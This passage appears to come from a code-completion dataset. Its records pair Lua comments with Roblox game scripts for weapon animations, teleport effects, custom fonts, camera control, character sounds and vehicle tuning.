BoltingForwardAnim(L_341_arg1)\n\tL_24_.BoltingForwardAnim(L_3_, L_165_, {\n\t\tL_49_\n\t});\nend\n\nfunction BoltingForwardAnim(L_342_arg1)\n\tL_24_.BoltingForwardAnim(L_3_, L_165_, {\n\t\tL_49_\n\t});\nend\n\nfunction BoltBackAnim(L_343_arg1)\n\tL_24_.BoltBackAnim(L_3_, L_165_, {\n\t\tL_49_,\n\t\tL_47_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_59_\n\t});\nend\n\nfunction BoltForwardAnim(L_344_arg1)\n\tL_24_.BoltForwardAnim(L_3_, L_165_, {\n\t\tL_49_,\n\t\tL_47_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_59_\n\t});\nend\n\nfunction InspectAnim(L_345_arg1)\n\tL_24_.InspectAnim(L_3_, L_165_, {\n\t\tL_47_,\n\t\tL_46_\n\t});\nend\n\nfunction nadeReload(L_346_arg1)\n\tL_24_.nadeReload(L_3_, L_165_, {\n\t\tL_46_,\n\t\tL_47_\n\t});\nend\n\nfunction AttachAnim(L_347_arg1)\n\tL_24_.AttachAnim(L_3_, L_165_, {\n\t\tL_46_,\n\t\tL_47_\n\t});\nend\n\nfunction PatrolAnim(L_348_arg1)\n\tL_24_.PatrolAnim(L_3_, L_165_, {\n\t\tL_46_,\n\t\tL_47_\n\t});\nend\n"} +{"prompt": "--Connect our event. The function wants to know the start and end teleporter, and the part that triggered the teleport.", "completion": "\nnetworking.StartEffect.OnClientEvent:connect(function(part,tele1,tele2)\n\tlocal parts = {}\n\tgetAssemblyParts(part,parts) --Get the entire assembly\n\t\n\tlocal soundPart1 = tele1:clone()\n\tsoundPart1.Transparency = 1\n\tsoundPart1.Parent = camera\n\t\n\tlocal soundPart2 = tele2:clone()\n\tsoundPart2.Transparency = 1\n\tsoundPart2.Parent = camera\n\t\n\tsoundPart1.Teleport:play()\n\tsoundPart2.Teleport:play()\n\t\n\tlocal effect1 = {}\n\tlocal effect2 = {}\n\t\n\tfor _,pt in pairs(parts) do\n\t\tlocal part = pt:clone()\n\t\tpart.Anchored = true\n\t\tpart.CanCollide = false\n\t\tpart.Transparency = 1\n\t\tpart.Material = Enum.Material.Neon\n\t\tpcall(function() part.FormFactor = Enum.FormFactor.Custom end)\n\t\tpart.Size = part.Size * 1.1\n\t\tpart.Parent = camera\n\t\teffect1[part] = pt.CFrame\n\t\t\n\t\tlocal part = pt:clone()\n\t\tpart.Anchored = true\n\t\tpart.CanCollide = false\n\t\tpart.Transparency = 1\n\t\tpart.Material = Enum.Material.Neon\n\t\tpcall(function() part.FormFactor = Enum.FormFactor.Custom end)\n\t\tpart.Size = part.Size * 1.1\n\t\tpart.Parent = camera\n\t\teffect2[part] = tele2.CFrame * tele1.CFrame:toObjectSpace(pt.CFrame)\n\tend\n\t\n\tlocal start = tick()\n\twhile tick() < start+4 do\n\t\twait()\n\t\tlocal t = tick()-start\n\t\tlocal x = t*(2.31/4)\n\t\t\n\t\tlocal trans = -0.7*x^3 + 2.6*x^2 - 2.7*x + 1\n\t\ttele1.Parent.Glow.Transparency = 1 - math.pow((x - 2.25) / 2.25,2)\n\t\ttele2.Parent.Glow.Transparency = 1 - math.pow((x - 2.25) / 2.25,2)\n\t\t\n\t\tfor k,v in pairs(effect1) do\n\t\t\tk.CFrame = v\n\t\t\tk.Transparency = trans\n\t\tend\n\t\tfor k,v in pairs(effect2) do\n\t\t\tk.CFrame = v\n\t\t\tk.Transparency = trans\n\t\tend\n\tend\n\tlocal tele1color = tele1.Parent.Glow.BrickColor\n\tlocal tele2color = tele2.Parent.Glow.BrickColor\n\t\n\ttele1.Parent.Glow.BrickColor = BrickColor.new(\"Pastel light blue\")\n\ttele2.Parent.Glow.BrickColor = BrickColor.new(\"Pastel light blue\")\n\t\n\twait(0.05)\n\t\n\ttele1.Parent.Glow.BrickColor = tele1color\n\ttele2.Parent.Glow.BrickColor = tele2color\n\t\n\twait(0.45)\n\t\n\tlocal start = tick()\n\twhile tick() < start+1 do\n\t\twait()\n\t\tlocal t = tick()-start\n\t\tlocal trans = t\n\t\t\n\t\ttele1.Parent.Glow.Transparency = 1-t\n\t\t\n\t\tfor k,v in pairs(effect1) do\n\t\t\tk.Size = k.Size * 1.01\n\t\t\tk.CFrame = v\n\t\t\tk.Transparency = trans\n\t\tend\n\t\tfor k,v in pairs(effect2) do\n\t\t\tk.Size = k.Size * 1.01\n\t\t\tk.CFrame = v\n\t\t\tk.Transparency = trans\n\t\tend\n\tend\n\t\n\tfor k,v in pairs(effect1) do k:Destroy() end\n\tfor k,v in pairs(effect2) do k:Destroy() end\n\t\n\ttele1.Parent.Glow.Transparency = 0\n\t\n\tsoundPart1:Destroy()\n\tsoundPart2:Destroy()\nend)\n"} +{"prompt": "-- custom font class (this is what the player interacts with)", "completion": "\n\nlocal customFont = {};\n\nfunction customFont.new(fontName, class, isButton)\n\tlocal self = event.new {};\n\t\n\tlocal exists = not (type(class) == \"string\");\n\tlocal child = exists and class or instance(class);\n\tlocal fontModule = fonts:FindFirstChild(fontName);\n\t--local folder = instance(\"Folder\", child);\n\t\n\tlocal settings = settings.new(require(aa), self, child);\n\tsettings:preload();\n\t\n\tlocal events = {};\n\tlocal properties = {};\n\tlocal propertyobjects = {};\n\tlocal drawncharacters = {};\n\t\n\tself.FontName = fontName;\n\tself.Style = settings.style;\n\tself.TextTransparency = child.TextTransparency;\n\tself.TextStrokeTransparency = child.TextStrokeTransparency;\n\tself.BackgroundTransparency = child.BackgroundTransparency;\n\tself.TextFits = false;\n\t\n\t-- create the physical representation of the custom properties\n\tfor name, _ in next, customProperties do\n\t\tlocal property = self[name];\n\t\tlocal t = type(property);\n\t\tlocal className = upper(sub(t, 1, 1)) .. sub(t, 2) .. \"Value\";\n\t\tlocal physicalProperty = Instance.new(className, child);\n\t\t\n\t\tphysicalProperty.Name = name;\n\t\tphysicalProperty.Value = property;\n\t\t\n\t\tphysicalProperty.Changed:connect(function(newValue)\n\t\t\tself[name] = newValue;\n\t\tend);\n\t\t\n\t\tpropertyobjects[physicalProperty.Name] = physicalProperty;\n\t\tproperties[physicalProperty] = true;\n\tend;\n\t\n\tlocal background = newBackground(child, isButton and \"TextButton\");\n\tdefaultHide(child);\t\n\t\n\t-- common function\n\t\n\tlocal function drawText()\n\t\tbackground:ClearAllChildren();\n\t\tdrawncharacters = drawLines(child.Text, settings, background);\n\tend;\n\t\n\t-- custom events\n\t\n\tself:connect(\"FontName\", function(value) drawText(); end);\n\tself:connect(\"TextStrokeTransparency\", function(value) drawText(); end);\n\t\n\tself:connect(\"BackgroundTransparency\", function(value)\n\t\tbackground.BackgroundTransparency = value;\n\tend);\n\t\n\tself:connect(\"Style\", function(value)\n\t\tsettings.style = value;\n\t\tpropertyobjects[\"Style\"].Value = value;\n\t\tdrawText();\n\tend);\n\t\n\tself:connect(\"TextTransparency\", function(value)\n\t\tfor i = 1, #drawncharacters do\n\t\t\tdrawncharacters[i].ImageTransparency = value;\n\t\tend;\n\tend);\n\t\n\tself:connect(\"FontName\", function(value)\n\t\tlocal fontModule = fonts:FindFirstChild(value);\n\t\tsettings = settings.new(require(aa), self, child);\n\t\tsettings:preload();\n\t\tpropertyobjects[\"FontName\"].Value = value;\n\t\tif (not child.TextScaled) then\n\t\t\tsettings.size = child.TextSize;\n\t\tend;\n\t\tsettings.style = self.Style;\n\t\tdrawText();\n\tend);\n\t\n\t-- real events\n\t\n\tinsert(events, child.Changed:connect(function(property)\n\t\tif (overwrites[property]) then\t\n\t\t\tif (child[property] ~= 2) then\n\t\t\t\tself[property] = child[property]\t\n\t\t\tend;\n\t\t\tchild[property] = 2;\n\t\telseif (property == \"TextSize\") then\n\t\t\tsettings.size = child[property];\n\t\t\tdrawText();\n\t\telseif (property == \"TextColor3\") then\n\t\t\tfor _, sprite in next, drawncharacters do\n\t\t\t\tsprite.ImageColor3 = child[property];\n\t\t\tend;\n\t\telseif (property == \"ZIndex\") then\n\t\t\tbackground.ZIndex = child[property];\n\t\t\tfor _, sprite in next, drawncharacters do\n\t\t\t\tsprite.ZIndex = child[property];\n\t\t\tend;\n\t\telseif (property == \"Text\") then\n\t\t\tdrawText();\n\t\telseif (redraws[property]) then\n\t\t\tif (property == \"TextScaled\" and not child[property]) then\n\t\t\t\tsettings.size = child.TextSize;\n\t\t\tend;\n\t\t\tdrawText();\n\t\telseif (not match(property, \"Text\") and not noReplicate[property]) then\n\t\t\tpcall(function() background[property] = child[property]; end);\n\t\tend;\n\tend));\n\t\n\tif (child:IsA(\"TextBox\")) then\n\t\tinsert(events, child.Focused:connect(function()\n\t\t\tif (child.ClearTextOnFocus) then\n\t\t\t\tchild.Text = \"\";\n\t\t\tend;\n\t\tend));\n\tend;\n\t\n\t-- methods\n\t\n\tfunction self:Revert()\n\t\tfor _, property in next, propertyobjects do property:Destroy(); end;\n\t\tfor _, event in next, events do event:disconnect(); end;\n\t\tbackground:Destroy();\n\t\tchild.TextTransparency = self.TextTransparency;\n\t\tchild.BackgroundTransparency = self.BackgroundTransparency;\n\t\tself, properties, propertyobjects, events = nil, nil, nil, nil;\n\t\treturn child;\n\tend;\n\t\n\tfunction self:GetChildren()\n\t\tlocal children = {};\n\t\tfor _, kid in next, child:GetChildren() do\n\t\t\tif (kid ~= background and not properties[kid]) then\n\t\t\t\tinsert(children, kid);\n\t\t\tend;\n\t\tend;\n\t\treturn children;\n\tend;\n\t\n\tfunction self:ClearAllChildren()\n\t\tfor _, kid in next, child:GetChildren() do\n\t\t\tif (kid ~= background and not properties[kid]) then\n\t\t\t\tkid:Destroy();\n\t\t\tend;\n\t\tend;\n\tend;\n\t\n\tfunction self:Destroy()\n\t\tself:Revert():Destroy();\n\tend;\n\t\n\t-- return\n\tdrawText();\n\treturn wrapper(child, self);\nend;\n"} +{"prompt": "--//hood", "completion": "\nlocal hd = Instance.new(\"Motor\", script.Parent.Parent.Misc.HD.SS)\nhd.MaxVelocity = 0.03\nhd.Part0 = script.Parent.HD\nhd.Part1 = hd.Parent\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nlocal PreloadAnimsUserFlag = false\nlocal PreloadedAnims = {}\nlocal successPreloadAnim, msgPreloadAnim = pcall(function()\n\tPreloadAnimsUserFlag = UserSettings():IsUserFeatureEnabled(\"UserPreloadAnimations\")\nend)\nif not successPreloadAnim then\n\tPreloadAnimsUserFlag = false\nend\n\nmath.randomseed(tick())\n\nfunction findExistingAnimationInSet(set, anim)\n\tif set == nil or anim == nil then\n\t\treturn 0\n\tend\n\t\n\tfor idx = 1, set.count, 1 do \n\t\tif set[idx].anim.AnimationId == anim.AnimationId then\n\t\t\treturn idx\n\t\tend\n\tend\n\t\n\treturn 0\nend\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\t\n\t\tlocal idx = 0\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\tlocal newWeight = 1\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject ~= nil) then\n\t\t\t\t\tnewWeight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tidx = animTable[name].count\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tanimTable[name][idx].weight = newWeight\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\tend\n\t\tend\n\tend\n\t\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\tend\n\tend\n\t\n\t-- preload anims\n\tif PreloadAnimsUserFlag then\n\t\tfor i, animType in pairs(animTable) do\n\t\t\tfor idx = 1, animType.count, 1 do\n\t\t\t\tif PreloadedAnims[animType[idx].anim.AnimationId] == nil then\n\t\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\t\t\tPreloadedAnims[animType[idx].anim.AnimationId] = true\n\t\t\t\tend\t\t\t\t\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Hook up CreateIndicator bindable function", "completion": "\n\nbfCreateIndicator.OnInvoke = function (position, time, radius)\n\tassert(position, \"requires arg #1 position\")\n\tassert(time, \"requires arg #2 time\")\n\tassert(radius, \"requires arg #3 radius\")\n\treturn Indicator:new{time = time; position = position; radius = radius}\nend\n"} +{"prompt": "--[=[\n\t@param serviceName string\n\t@return Service\n\tGets the service by name. Throws an error if the service is not found.\n]=]", "completion": "\nfunction KnitServer.GetService(serviceName: string): Service\n\tassert(type(serviceName) == \"string\", \"ServiceName must be a string; got \" .. type(serviceName))\n\treturn assert(services[serviceName], \"Could not find service \\\"\" .. serviceName .. \"\\\"\") :: Service\nend\n\n"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeavePreGame(stateMachine, event, from, to)\n\tServerPreGame.leave(stateMachine)\nend\n"} +{"prompt": "--create the dustcloud object\n--[[local prt = Instance.new(\"Part\")\nprt.Size = Vector3.new(1,1,1)\nprt.BrickColor = BrickColor.new(217)\nprt.Anchored = true\nprt.CanCollide = false\nscript.Parent.CloudMesh.Parent = prt]]\n--[[local msh = Instance.new(\"SpecialMesh\")\nmsh.MeshId = \"http://www.roblox.com/asset/?id=1095708\"\nmsh.MeshType = 5\nmsh.Parent = prt]]", "completion": "\n\n\nfunction WaitForChild(obj, ch_n)\n\tlocal t = time()\n\twhile not obj:FindFirstChild(ch_n) and time() - t < 10 do wait(0.1) end\n\treturn obj:FindFirstChild(ch_n)\nend\n"} +{"prompt": "-- connect up", "completion": "\n\nfunction stopLoopedSounds()\n\tsRunning:Stop() \n\tsClimbing:Stop()\n\tsSwimming:Stop()\nend\n\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Swimming:connect(onSwimming)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.Jumping:connect(function(state) onStateNoStop(state, sJumping) prevState = \"Jump\" end)\nHumanoid.GettingUp:connect(function(state) stopLoopedSounds() onStateNoStop(state, sGettingUp) prevState = \"GetUp\" end)\nHumanoid.FallingDown:connect(function(state) stopLoopedSounds() onStateNoStop(state, sFallingDown) prevState = \"Falling\" end)\nHumanoid.StateChanged:connect(function(old, new) \n\tif not (new.Name == \"Dead\" or \n\t\t\tnew.Name == \"Running\" or \n\t\t\tnew.Name == \"RunningNoPhysics\" or \n\t\t\tnew.Name == \"Swimming\" or \n\t\t\tnew.Name == \"Jumping\" or \n\t\t\tnew.Name == \"GettingUp\" or \n\t\t\tnew.Name == \"FallingDown\") then\n\t\tstopLoopedSounds()\n\tend\nend)\n"} +{"prompt": "--[[\n\tCameraModule - This ModuleScript implements a singleton class to manage the\n\tselection, activation, and deactivation of the current camera controller,\n\tcharacter occlusion controller, and transparency controller. This script binds to\n\tRenderStepped at Camera priority and calls the Update() methods on the active\n\tcontroller instances.\n\n\tThe camera controller ModuleScripts implement classes which are instantiated and\n\tactivated as-needed, they are no longer all instantiated up front as they were in\n\tthe previous generation of PlayerScripts.\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n\nlocal CameraModule = {}\nCameraModule.__index = CameraModule\n\nlocal FFlagUserRemoveTheCameraApi do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserRemoveTheCameraApi\")\n\tend)\n\tFFlagUserRemoveTheCameraApi = success and result\nend\n"} +{"prompt": "---------------\n--// Functions\n---------------", "completion": "\nlocal function resetGUI()\n\tfor i,v in pairs(script.Parent:GetChildren()) do\n\t\tif v:IsA(\"Frame\") and v.Name ~= \"Template\" and v.Name ~= \"A\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend \n\nlocal function loadGUI(plr)\n\tfor i,v in pairs(Players:GetPlayers()) do\n\t\tlocal clone = script.Parent.Template:Clone()\n\t\tclone.Parent = script.Parent\n\t\tclone.Name = \"\"\n\t\tclone.ImageLabel.Image = \"rbxthumb://type=AvatarHeadShot&id=\"..plr.UserId..\"&w=150&h=150\"\n\t\tclone.Usernaame.Text = v.Name\n\t\tclone.TextButton.MouseButton1Down:Connect(function()\n\t\t\tif debounce == false then\n\t\t\t\tdebounce = true\n\t\t\t\tlocal plot = workspace.Plots.Plot:FindFirstChild(\"Plot\"..plr:GetAttribute(\"Plot\"))\n\t\t\t\tlocal tween = TweenService:Create(LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(.1), {[\"CFrame\"] = plot.Pos.CFrame, })\n\t\t\t\ttween:Play()\n\t\t\t\ttween.Completed:Wait()\n\t\t\t\ttask.wait(.5)\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend)\n\tend\nend\n\n\nlocal function updateGUI()\n\tresetGUI()\n\tloadGUI()\nend\n\n\n"} +{"prompt": "-- How many velocities we want to store in our velocity history. Each velocity is stored per frame.\n-- Used to ensure we have a correct recent velocity.", "completion": "\nlocal MAX_VELOCITY_HISTORY_COUNT = 5\n\nlocal previousVelocities = {}\n\nlocal function getAverageVelocity()\n\tlocal averageVelocity = Vector3.new()\n\n\tfor _, v in pairs(previousVelocities) do\n\t\taverageVelocity = averageVelocity + v\n\tend\n\n\taverageVelocity = averageVelocity / #previousVelocities\n\treturn averageVelocity\nend\n\nlocal counter = 1\n"} +{"prompt": "--Gets called on both client and server", "completion": "\nfunction ChickynoidStyle:Setup(simulation)\n\n --Dont need to set anything, the defaults should basically be this\nend\n\nreturn ChickynoidStyle\n"} +{"prompt": "-- Replacements for RootCamera:RotateCamera() which did not actually rotate the camera\n-- suppliedLookVector is not normally passed in, it's used only by Watch camera", "completion": "\nfunction BaseCamera:CalculateNewLookCFrame(suppliedLookVector)\n\tlocal currLookVector = suppliedLookVector or self:GetCameraLookVector()\n\tlocal currPitchAngle = math.asin(currLookVector.y)\n\tlocal yTheta = Util.Clamp(-MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle, self.rotateInput.y)\n\tlocal constrainedRotateInput = Vector2.new(self.rotateInput.x, yTheta)\n\tlocal startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)\n\tlocal newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)\n\treturn newLookCFrame\nend\nfunction BaseCamera:CalculateNewLookVector(suppliedLookVector)\n\tlocal newLookCFrame = self:CalculateNewLookCFrame(suppliedLookVector)\n\treturn newLookCFrame.lookVector\nend\n\nfunction BaseCamera:CalculateNewLookVectorVR()\n\tlocal subjectPosition = self:GetSubjectPosition()\n\tlocal vecToSubject = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p)\n\tlocal currLookVector = (vecToSubject * X1_Y0_Z1).unit\n\tlocal vrRotateInput = Vector2.new(self.rotateInput.x, 0)\n\tlocal startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)\n\tlocal yawRotatedVector = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector\n\treturn (yawRotatedVector * X1_Y0_Z1).unit\nend\n\nfunction BaseCamera:GetHumanoid()\n\tlocal player = Players.LocalPlayer\n\tlocal character = player and player.Character\n\tif character then\n\t\tlocal resultHumanoid = self.humanoidCache[player]\n\t\tif resultHumanoid and resultHumanoid.Parent == character then\n\t\t\treturn resultHumanoid\n\t\telse\n\t\t\tself.humanoidCache[player] = nil -- Bust Old Cache\n\t\t\tlocal humanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tif humanoid then\n\t\t\t\tself.humanoidCache[player] = humanoid\n\t\t\tend\n\t\t\treturn humanoid\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction BaseCamera:GetHumanoidPartToFollow(humanoid, humanoidStateType)\n\tif humanoidStateType == Enum.HumanoidStateType.Dead then\n\t\tlocal character = humanoid.Parent\n\t\tif character then\n\t\t\treturn character:FindFirstChild(\"Head\") or humanoid.Torso\n\t\telse\n\t\t\treturn humanoid.Torso\n\t\tend\n\telse\n\t\treturn humanoid.Torso\n\tend\nend\n\nfunction BaseCamera:UpdateGamepad()\n\tlocal gamepadPan = self.gamepadPanningCamera\n\tif gamepadPan and (self.hasGameLoaded or not VRService.VREnabled) then\n\t\tgamepadPan = Util.GamepadLinearToCurve(gamepadPan)\n\t\tlocal currentTime = tick()\n\t\tif gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then\n\t\t\tself.userPanningTheCamera = true\n\t\telseif gamepadPan == ZERO_VECTOR2 then\n\t\t\tself.lastThumbstickRotate = nil\n\t\t\tif self.lastThumbstickPos == ZERO_VECTOR2 then\n\t\t\t\tself.currentSpeed = 0\n\t\t\tend\n\t\tend\n\n\t\tlocal finalConstant = 0\n\n\t\tif self.lastThumbstickRotate then\n\t\t\tif VRService.VREnabled then\n\t\t\t\tself.currentSpeed = self.vrMaxSpeed\n\t\t\telse\n\t\t\t\tlocal elapsedTime = (currentTime - self.lastThumbstickRotate) * 10\n\t\t\t\tself.currentSpeed = self.currentSpeed + (self.maxSpeed * ((elapsedTime*elapsedTime)/self.numOfSeconds))\n\n\t\t\t\tif self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end\n\n\t\t\t\tif self.lastVelocity then\n\t\t\t\t\tlocal velocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate)\n\t\t\t\t\tlocal velocityDeltaMag = (velocity - self.lastVelocity).magnitude\n\n\t\t\t\t\tif velocityDeltaMag > 12 then\n\t\t\t\t\t\tself.currentSpeed = self.currentSpeed * (20/velocityDeltaMag)\n\t\t\t\t\t\tif self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfinalConstant = UserGameSettings.GamepadCameraSensitivity * self.currentSpeed\n\t\t\tself.lastVelocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate)\n\t\tend\n\n\t\tself.lastThumbstickPos = gamepadPan\n\t\tself.lastThumbstickRotate = currentTime\n\n\t\treturn Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * self.ySensitivity * UserGameSettings:GetCameraYInvertValue())\n\tend\n\n\treturn ZERO_VECTOR2\nend\n"} +{"prompt": "--// Graphing functions \\\\--", "completion": "\n\nlocal function graphPoint(t : number, ... : Vector3) : Vector3\n\tassert(t >= 0 and t <= 1, t .. \"t is not between 0 and 1.\")\n\tlocal points = {...}\n\tlocal n : number = #points - 1\n\tlocal p : Vector3 = nil\n\tfor i = 0, n do\n\t\tlocal x = binomial(n,i)*(1 - t)^(n-i) * t^i * points[i+1] \n\t\tp = p and p + x or x\n\tend\n\treturn p\nend\n"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTCS\t\t\t\t= Enum.KeyCode.T\t\t\t\t\t,\n\t\tToggleABS\t\t\t\t= Enum.KeyCode.Y\t\t\t\t\t,\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.M\t\t\t\t\t,\n\t\tToggleMouseDrive\t\t= Enum.KeyCode.R\t\t\t\t\t,\n\t\t\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.D \t\t\t\t ,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.B \t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.N\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.M \t \t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.V\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftShift \t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.P\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.DPadDown\t\t\t\t,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.DPadRight\t\t\t,\n\t}\n\t"} +{"prompt": "-- Bind tool events", "completion": "\nTool.Equipped:connect(equip)\nTool.Unequipped:connect(unequip)\n"} +{"prompt": "---Misfire reduces turbo Lag when it happens and also might increace your car boost -----\n----Misfire advanced settings are in it's own plugin \n--- Messing with them is at your own risk only do if you know how things work :spicy:\n---Come back In the next version For SuperCharger Support Maybe ----\n--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= .1\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= true\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\t"} +{"prompt": "--// Probabilities", "completion": "\n\tJamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween\n\tTracerChance = 17; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween\n\t"} +{"prompt": "--\tprint(\"CurrentAnim \", currentAnim, \" \", frameName)", "completion": "\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\telse\n\t--\t\tprint(\"Keyframe : \".. frameName)\n\t\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\t\t\t\n\t\t\tlocal animSpeed = 